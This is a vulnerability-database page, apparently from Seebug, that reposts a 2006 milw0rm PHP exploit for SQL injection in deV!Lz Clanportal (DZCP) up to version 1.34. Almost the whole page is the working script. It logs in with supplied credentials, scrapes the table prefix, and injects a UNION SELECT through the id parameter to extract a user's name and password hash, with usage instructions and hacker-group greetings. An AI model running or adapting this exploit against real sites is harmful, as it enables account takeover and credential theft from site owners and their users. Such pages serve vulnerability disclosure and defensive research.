Lucene search

K
seebugRootSSV:63681
HistoryJul 01, 2014 - 12:00 a.m.

deV!Lz Clanportal [DZCP] <= 1.34 (id) Remote SQL Injection Exploit

2014-07-0100:00:00
Root
www.seebug.org
742

No description provided by source.


                                                &#60;?
error_reporting(E_ERROR);

function exploit_init()
{
    if (!extension_loaded(&#39;php_curl&#39;) && !extension_loaded(&#39;curl&#39;))
    {
       if (!dl(&#39;curl.so&#39;) && !dl(&#39;php_curl.dll&#39;))
       die (&#34;oo error - cannot load curl extension!&#34;);
    }
}

function exploit_header()
{
    echo &#34;\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo&#34;;
    echo &#34;                                  oo    ooooooo     ooooooo\n&#34;;
    echo &#34;                    oooo   oooo o888  o88     888 o888   888o\n&#34;;
    echo &#34;                      888o888    888        o888   888888888\n&#34;;
    echo &#34;                      o88888o    888     o888   o 888o   o888\n&#34;;
    echo &#34;                    o88o   o88o o888o o8888oooo88   88ooo88\n&#34;;
    echo &#34;oooooooooooooooooooooooo dzcp 1.34 remote sql injection oooooooooooooooooooooooo\n&#34;;
    echo &#34;oo usage          $ php dzcp-134-exploit.php [url] [user] [pwd] [id]\n&#34;;
    echo &#34;oo proxy support  $ php dzcp-134-exploit.php [url] [user] [pwd] [id]\n&#34;;
    echo &#34;                  [proxy]:[port]\n&#34;;
    echo &#34;oo example        $ php dzcp-134-exploit.php http://localhost x128 pwd 1\n&#34;;
    echo &#34;oo you need an account on the system\n&#34;;
    echo &#34;oo print the password of the user\n\n&#34;;
}

function exploit_bottom()
{
    echo &#34;\noo greets   : tlm65 - i want to wish you a happy 23st birthday! thank you for\n&#34;;
    echo &#34;              the last two years. we never become the fastest hacking group on\n&#34;;
    echo &#34;              net without you.\n&#34;;
    echo &#34;oo discover : x128 - alexander wilhelm - 30/06/2006\n&#34;;
    echo &#34;oo contact  : exploit &#60;at&#62; x128.net                    oo website : www.x128.net\n&#34;;
}

function exploit_execute()
{
    $connection = curl_init();

    if ($_SERVER[&#39;argv&#39;][5])
    {
        curl_setopt($connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($connection, CURLOPT_PROXY, $_SERVER[&#39;argv&#39;][5]);
    }
    curl_setopt ($connection, CURLOPT_USERAGENT, &#39;x128&#39;);
    curl_setopt ($connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($connection, CURLOPT_HEADER, 0);
    curl_setopt ($connection, CURLOPT_POST, 1);
    curl_setopt ($connection, CURLOPT_COOKIE, 1);
    curl_setopt ($connection, CURLOPT_COOKIEJAR, &#39;exp-cookie.txt&#39;);
    curl_setopt ($connection, CURLOPT_COOKIEFILE, &#39;exp-cookie.txt&#39;);
    curl_setopt ($connection, CURLOPT_URL, $_SERVER[&#39;argv&#39;][1] . &#34;/user/index.php?action=login&do=yes&#34;);
    curl_setopt ($connection, CURLOPT_POSTFIELDS, &#34;user=&#34; . $_SERVER[&#39;argv&#39;][2] . &#34;&pwd=&#34; . $_SERVER[&#39;argv&#39;][3] . &#34;&permanent=1&#34;);

    $source = curl_exec($connection) or die(&#34;oo error - cannot connect!\n&#34;);

    curl_setopt ($connection, CURLOPT_POST, 0);
    curl_setopt ($connection, CURLOPT_URL, $_SERVER[&#39;argv&#39;][1] . &#34;/user/index.php?action=msg&do=answer&id=x128&#34;);
    $source = curl_exec($connection) or die(&#34;oo error - cannot connect!\n&#34;);

    preg_match(&#34;/FROM ([0-9a-zA-Z_]*)messages/&#34;, $source, $prefix);

    curl_setopt ($connection, CURLOPT_URL, $_SERVER[&#39;argv&#39;][1] . &#34;/user/index.php?action=msg&do=answer&id=&#34; . urlencode(&#34;-1 UNION SELECT 1,1,1,1,1,1,user,pwd,1,1 FROM &#34; . $prefix[1] . &#34;users WHERE id = &#34; . $_SERVER[&#39;argv&#39;][4]));
    $source = curl_exec($connection) or die(&#34;oo error - cannot connect!\n&#34;);

    preg_match(&#34;/&#62;([0-9a-f]{32})&#60;/&#34;, $source, $password);
    preg_match(&#34;/RE: (.*)\&#34; class/&#34;, $source, $user);

    if ($password[1])
    {
        echo &#34;oo user           &#34; . $user[1] . &#34;\n&#34;;
        echo &#34;oo password       &#34; . $password[1] . &#34;\n\n&#34;;
        echo &#34;oo dafaced ...\n&#34;;
    }

    curl_close ($connection);
}

exploit_init();
exploit_header();
exploit_execute();
exploit_bottom();
?&#62;

# milw0rm.com [2006-07-01]